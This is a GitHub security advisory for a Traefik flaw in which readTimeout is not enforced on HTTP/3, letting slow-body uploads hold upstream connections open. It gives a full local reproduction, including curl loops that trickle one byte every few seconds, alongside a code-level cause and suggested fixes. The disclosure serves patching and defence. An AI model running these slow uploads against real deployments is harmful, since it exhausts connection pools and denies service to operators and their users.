GitHub Advisoryadvisory · Go
GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded
MEDIUM
Official page ↗
- Aliases
- CVE-2026-88012
- Ecosystem
- Go
- Packages
- github.com/traefik/traefik/v2, github.com/traefik/traefik/v3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-770
- Reviewed
- 2026-09-10
Affected packages
• Go github.com/traefik/traefik/v2: >= 2.8.2, < 2.11.56 → fixed in 2.11.56
• Go github.com/traefik/traefik/v3: >= 3.0.0, < 3.7.12 → fixed in 3.7.12
Description
Summary
There is a medium severity vulnerability in Traefik's HTTP/3 entry points: the `respondingTimeouts` settings were not applied to the HTTP/3 request path. `readTimeout` in particular is on by default at 60s and is documented as bounding the time to read the entire request including its body, but it is enforced as a deadline on the TCP connection, which cannot reach a QUIC stream, and Traefik's HTTP/3 server was constructed with no timeout of any kind. An unauthenticated client that trickles a request body therefore holds a request open for as long as it chooses, and with it one upstream connection per request, at negligible cost to itself. Backends with bounded connection pools are the practical pressure point.
The HTTP/3 path lost these timeouts in v2.8.2, when a quic-go API change removed the embedded `http.Server` that had carried them; every release from v2.8.2 onward is affected, and releases before v2.8.2 are not. Traefik v2.8.2 through v2.10.x and v3.0 through v3.6 are affected and are no longer maintained: they will not receive a patch on their own line, and the remedy for their users is to upgrade to v2.11.56 or v3.7.12.
Patches
• https://github.com/traefik/traefik/releases/tag/v2.11.56
• https://github.com/traefik/traefik/releases/tag/v3.7.12
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Summary
`entryPoints..transport.respondingTimeouts.readTimeout` is documented as:
> "Set the timeouts for incoming requests to the Traefik instance. This is the maximum
> duration for reading the entire request, including the body." — Default: 60s
It is on by default and it works over HTTP/1.1 and HTTP/2. It has no effect on
HTTP/3.
The consequence is not that a hardening option was left unset. It is that every Traefik
deployment with `http3` enabled carries a 60-second bound that the operator has every
reason to believe is in force, and which is silently absent on that protocol. A single
client trickling one body byte every few seconds holds a request open indefinitely, and
with it one upstream connection per request.
`readTimeout` is applied as a deadline on the TCP connection. HTTP/3 does not have
one, and Traefik's HTTP/3 server is constructed with no timeout of any kind.
Steps to reproduce
No containers, VMs or cloud services — the official release binary, `curl`, `openssl`,
and a 68-line Python standard-library backend. Everything is attached.
```sh
bash reproduce.sh # readTimeout 5s, ~40 seconds
MODE=default bash reproduce.sh # the stock 60s default, ~4 minutes
```
By hand:
1. Static config (`conf/traefik.yml`, complete and unredacted). Note there is no
`respondingTimeouts` block at all — this is the documented 60s default:
```yaml
global:
checkNewVersion: false
sendAnonymousUsage: false
log:
level: DEBUG
entryPoints:
websecure:
address: ":8443"
http3:
advertisedPort: 8443
providers:
file:
filename: conf/dynamic.yml
api:
dashboard: false
```
2. Dynamic config (`conf/dynamic.yml`):
```yaml
http:
routers:
backend-router:
rule: "PathPrefix(`/`)"
service: backend-svc
entryPoints: [websecure]
tls: {}
services:
backend-svc:
loadBalancer:
servers:
• url: "http://127.0.0.1:8080"
tls:
certificates:
• certFile: cert.pem
keyFile: key.pem
```
3. A self-signed cert, so no CA install and no sudo:
```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes \
-subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"
```
4. A backend that reads the request body before responding, as a real HTTP/1.1 server
does (`backend.py`, standard library only). This matters: a backend that answers the
request headers alone lets Traefik release the upstream connection immediately, which
hides the behaviour entirely.
```sh
python3 backend.py 8080 &
./traefik --configFile=conf/traefik.yml
```
5. The same slow upload over each protocol. The hold must exceed the timeout under
test, so 92 seconds against the 60-second default:
```sh
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
curl -v -k -T - --http1.1 https://localhost:8443/
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
curl -v -k -T - --http3-only https://localhost:8443/
```
Result
Traefik v3.7.10 (`langres`, go1.26.5), official
`traefik_v3.7.10_linux_amd64.tar.gz`, sha256
`01811bb12d44f17280550f425f5e3128d6c325f2665c09e67a651ca535f490ce`.
Upstream connection lifetime measured at the backend — the client's view only shows the
*absence* of a server action, which proves nothing on its own:
| config | hold | HTTP/1.1 (control) | HTTP/3 |
|---|---|---|---|
| stock — documented 60s default | 92 s | 59.99 s — released at the documented default | 92.94 s — held for the entire window |
| `readTimeout: 5s` | 30 s | 4.99 s | 30.98 s |
The HTTP/1.1 column is the control and it is the point of the exercise: the timeout is
demonstrably live on this exact binary, releasing the upstream at its configured value.
The HTTP/3 request, in the same run against the same instance with the same setting, ran
to completion with the upstream pinned throughout. Traefik returned `499` on the aborted
HTTP/1.1 arm and took no action at all on HTTP/3 — no `RST_STREAM`, no
`H3_REQUEST_INCOMPLETE`, no connection close.
The setting is not being silently discarded: Traefik's own DEBUG log prints the loaded
static configuration including `"respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"5s"}`.
Full `curl -v` output, backend logs and Traefik DEBUG logs for every arm are in
`evidence/`.
Cause
`readTimeout` is a TCP connection deadline —
`pkg/server/server_entrypoint_tcp.go:273`:
```go
if e.transportConfiguration.RespondingTimeouts.ReadTimeout > 0 {
err := writeCloser.SetReadDeadline(time.Now().Add(time.Duration(e.transportConfiguration.RespondingTimeouts.ReadTimeout)))
```
A deadline on a TCP connection cannot reach a QUIC stream.
And the HTTP/3 server is given no timeout of any kind —
`pkg/server/server_entrypoint_tcp_http3.go:65`:
```go
h3.Server = &http3.Server{
Addr: config.GetAddress(),
Port: config.HTTP3.AdvertisedPort,
Handler: httpsServer.Server.(*http.Server).Handler,
TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient},
QUICConfig: &quic.Config{
Allow0RTT: false,
},
ConnContext: func(ctx context.Context, c *quic.Conn) context.Context {
```
It reuses the HTTPS server's handler and inherits none of its timeouts. There is
therefore no duration control on the HTTP/3 request path at all — not `readTimeout`, not
`idleTimeout`, nothing.
Note that this cannot be fixed by passing a field through: quic-go's `http3.Server`
exposes no request-read deadline. The remedy has to be enforced around the request body
inside the handler, or upstream in quic-go.
Suggested remedy
In preference order:
1. Enforce `readTimeout` on the HTTP/3 path in the handler. Traefik already passes the
HTTPS server's handler to `http3.Server`, so when `RespondingTimeouts.ReadTimeout > 0`
it can wrap `r.Body` for HTTP/3 requests in a reader that enforces the deadline.
2. Add a request-read deadline upstream in quic-go's `http3.Server` and pass it through.
3. At minimum, document it. See below — the current documentation does not tell an
operator this.
A sketch of option 1
Offered as a description of the shape, not as a patch. I have not built or tested this
against Traefik, and I am not going to present untested code as though I had. If a working,
tested patch would be useful, say so and I will prepare one properly and verify it against
the reproducer above.
Where the HTTP/3 handler is wired up — `server_entryp…
Related
Alias · CVE (1)
- CVE-2026-88012 Traefik is an open source HTTP reverse proxy and load balancer. vulnerability
Weakness · CWE (1)
- CWE-770 Allocation of Resources Without Limits or Throttling weakness
References
- https://github.com/traefik/traefik/security/advisories/GHSA-7ghq-v6jf-g56c web
- https://nvd.nist.gov/vuln/detail/CVE-2026-88012 advisory
- https://github.com/traefik/traefik/pull/13717 web
- https://github.com/traefik/traefik/commit/a8d0bc425859dde7481a6c9a324e610b81d754d0 web
- https://github.com/traefik/traefik package
- https://github.com/traefik/traefik/releases/tag/v2.11.56 web
- https://github.com/traefik/traefik/releases/tag/v3.7.12 web